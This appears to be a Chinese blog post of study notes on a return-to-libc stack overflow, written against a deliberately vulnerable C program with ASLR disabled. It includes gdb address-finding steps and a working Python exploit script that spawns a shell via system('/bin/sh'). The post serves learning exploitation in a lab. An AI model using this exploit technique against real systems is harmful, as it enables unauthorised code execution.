栈溢出学习(二)Return2Libc

跟随教程https://sploitfun.wordpress.com/2015/

此次实验参考https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/

又看到一个好的博客,也是栈溢出系列:https://www.ret2rop.com/2018/08/return-to-libc.html

NX保护机制

​ NX保护机制原则为可写与可执行互斥,这就导致我们之前在栈上的shellcode不可以被执行,因此我们采用return2libc进行攻击

实验环境

​ Ubuntu12.04

漏洞代码:

 //vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
 char buf[256]; /* [1] */ 
 strcpy(buf,argv[1]); /* [2] */
 printf("%s\n",buf); /* [3] */
 fflush(stdout);  /* [4] */
 return 0;
}

较于之前的漏洞代码,增加了fflush函数的调用,主要是为了向我们提供sh字符串。

编译命令

#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c

去除了-z execstack这一编译命令,表示开启NX保护机制。

我们可以用一下命令来查看栈上代码是否可执行

$ readelf -l vuln
...
Program Headers:
 Type      Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
 PHDR      0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
 INTERP    0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
 [Requesting program interpreter: /lib/ld-linux.so.2]
 LOAD      0x000000 0x08048000 0x08048000 0x00678 0x00678 R E 0x1000
 LOAD      0x000f14 0x08049f14 0x08049f14 0x00108 0x00118 RW 0x1000
 DYNAMIC   0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW 0x4
 NOTE      0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
 ...
 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
 GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1
$

可以看到GNU_STACK权限字段没有X(X表示可执行)。如果安装了gdb peda插件,我们可以用checksec命令查看该代码的保护机制:

image-20201022220534961

Return2Libc思想

​ 为了绕过NX保护机制,我们此次采用Return2Libc技术,主要思想就是之前的return address改成我们shellcode的起始地址,但那个是属于栈地址,现在我们找一个可执行的函数,把他的地址放在return address那里,如果需要的话,再给他传个参数,通常这个函数我们用libc里面的函数,如system、execv等,此次我们通过调用system(’/bin/sh’)函数来获取shell权限。

​ 本次攻击需要以下三步:

  • 找到buf起始地址到返回地址的空间大小

    参见栈溢出学习(一)

  • 找到system的地址

    • 找到libc起始地址和system偏移地址

      • ldd vuln找到libc起始地址

        image-20201022231145154

      • readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

        image-20201022231217676

    • 通过gdb直接找到system地址(注意需要先运行程序)

      gdb-peda$ p system
      $1 = {<text variable, no debug info>} 0xb7e5f460 <system>
      

      image-20201022231335364

    其实可以看到第一个方法得到的起始地址 + 偏移地址和第二个方法直接得到的system地址不一致,原因todo

    通常我们在gdb-peda中使用vmmap(也要先运行程序)或者gdb中如果没有插件在gdb中info proc mapping查看动态链接库地址,这里具有x权限的是我们想要的,他的起始地址为0xb7e20000,加上上一步read -s得到的偏移地址0x0003f460,就等于p system直接得到的0xb7e5f460啦。

    image-20201022231648629

  • 找到参数"/bin/sh"的地址

    • 暴力搜索

      (gdb) x/500s $esp在栈中找一下"/bin/sh"字段,可以找到存在"/bin/bash"字段。

      image-20201022232940087

      SHELL=占了6个字节,因此我们"/bin/bash"起始地址为0xbffff581

      但这个地址对我不管用🤣

    • export 环境变量

      $ export pwn_sh="/bin/sh"
      $ echo $pwn_sh
      $ ./gtenv pwn_sh		
      

      这个是别的教程给的,但是./gtenv我没有办法运行,又在其他教程中看到自己编写C程序,获取环境变量地址

      #!cpp
      #include <stdio.h>
      #include <stdlib.h>
      
      int main(int argc, char *argv[]) {
          char *addr;
          addr = getenv(argv[1]);
          printf("%s is located at %p\n", argv[1], addr);
          return 0;
      }
      

      我们可以运行该程序```./a.out pwn_sh

      image-20201022233807357

      但是这个地址还是没成功😂

    • 直接在libc中寻找"/bin/sh"字段

      • find "/bin/sh"

      image-20201022234621904

      ​ 第一个在libc中的可以使用,但是第二个在栈中的不可以使用(我一直觉得栈中的东西不靠谱,可能和调试的时候栈地址和实际运行是栈地址的不同导致的吧)。

      • 有的教程用这个命令找到searchmem "/bin/sh" libc,但是我没找到😂

      • 还有的教程先用指令strings -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"找到"/bin/sh"的偏移地址,然后和刚才vmmap找到的起始地址相加,获取libc中"/bin/sh"的地址

        image-20201022235550731

        可以通过gdb调试查看0xb7e20000+0x161ff8地址处确实存放"/bin/sh"

        image-20201022235735164

        0xb7e20000+0x161ff8 = 0xb7f81ff8(和我们find "/bin/sh"找到的libc中地址一样)

开始利用漏洞

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

#Since ALSR is disabled, libc base address would remain constant and hence we can easily find the function address we want by adding the offset to it. 
#For example system address = libc base address + system offset
#where 
       #libc base address = 0xb7e22000 (Constant address, it can also be obtained from vmmap)
       #system offset     = 0x0003f060 (obtained from "readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system")
# libc_base_address = 0xb7e20000 
# system_offset = 0x0003f460
# exit_offset = 0x00032fe0

# system = libc_base_address + system_offset        #0xb7e2000+0x0003f060
system = 0xb7e5f460
# exit = libc_base_address + exit_offset          #0xb7e2000+0x00032be0
exit = 0xb7e52fe0

#system_arg points to 'sh' substring of 'fflush' string. 
#To spawn a shell, system argument should be 'sh' and hence this is the reason for adding line [4] in vuln.c. 
#But incase there is no 'sh' in vulnerable binary, we can take the other approach of pushing 'sh' string at the end of user input!!
system_arg = 0xb7f81ff8     #(obtained from hexdump output of the binary)

#endianess conversion
def conv(num):
 return struct.pack("<I",num)

# Junk + system + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)

print "Calling vulnerable program"
call(["./vuln", buf])

成功截图

image-20201023000420796

思考:

  • ldd显示的基地址然后加上偏移和p system地址不一致

    看了一通解释,码住了一个看不太懂链接:https://reverseengineering.stackexchange.com/questions/6657/why-does-ldd-and-gdb-info-sharedlibrary-show-a-different-library-base-addr

    反正ldd不可信就完事了。

    image-20201024102240673

  • ldd的动态链接库和vmmap显示的动态库不一样

    ldd链接出来的/lib/i386-linux-gnu/libc.so.6只是vmmap中libc-2.15.so的符号链接罢了

    image-20201023200316288
    以下内容摘取:https://stackoverflow.com/questions/13790973/what-is-the-difference-between-lib-i386-linux-gnu-libc-so-6-lib-x86-64-linux

    This is not a library, but a linker script file, which refers to the above symlinks.

    Why do we need all these:

    First, regardless of libc version installed, the linker will always search for libc.so, because the compiler driver will always pass to the linker the -lc options. The name libc stays the same and denotes to most recent version of the library.

    The symlinks libc.so.6 are named after the soname of the library, which, more or less corresponds to the ABI version of the library. The executables, linked against libc.so in fact contain runtime dependencies on libc.so.6.

    If we imagine the someday a grossly ABI incompatible libc is released, it’s soname could be named libc.so.7, for example and this version coukld coexists with the older libc.so.6 version, thus executables linked against one or the other can coexist in the same system,

    And finally, the name libc-2.15.so refers to the libc release, when you install a new libc package, the name will change to libc-2.16.so. Provided that it is binary compatible with the previous release, the libc.so.6 link will stay named that way and the existing executables will continue to work.

  • /bin/sh怎么找

    最好不用栈上的"/bin/sh",直接在libc里面找,不开ASLR,其地址是确定的。

  • 调试地址和真实运行地址不一样疑惑点

    GDB加入了一些调试信息或者环境变量的东西,导致内存格局不一样

    如果在python脚本中使用gdb.attach(r)这种语句,显示的esp地址应该就是一致的(尚未证实)

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值